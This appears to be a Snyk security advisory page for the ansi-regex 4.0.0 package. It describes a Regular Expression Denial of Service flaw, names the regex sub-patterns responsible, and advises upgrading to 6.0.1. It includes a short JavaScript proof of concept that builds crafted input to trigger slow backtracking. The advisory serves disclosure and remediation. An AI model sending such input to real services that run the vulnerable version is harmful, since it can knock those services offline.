org.webjars.npm:ansi-regex@4.0.0 vulnerabilities

  • latest version

    6.0.1

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    2 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:ansi-regex package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*.

    PoC

    import ansiRegex from 'ansi-regex';
    
    for(var i = 1; i <= 50000; i++) {
        var time = Date.now();
        var attack_str = "\u001B["+";".repeat(i*10000);
        ansiRegex().test(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade org.webjars.npm:ansi-regex to version 6.0.1 or higher.

    [,6.0.1)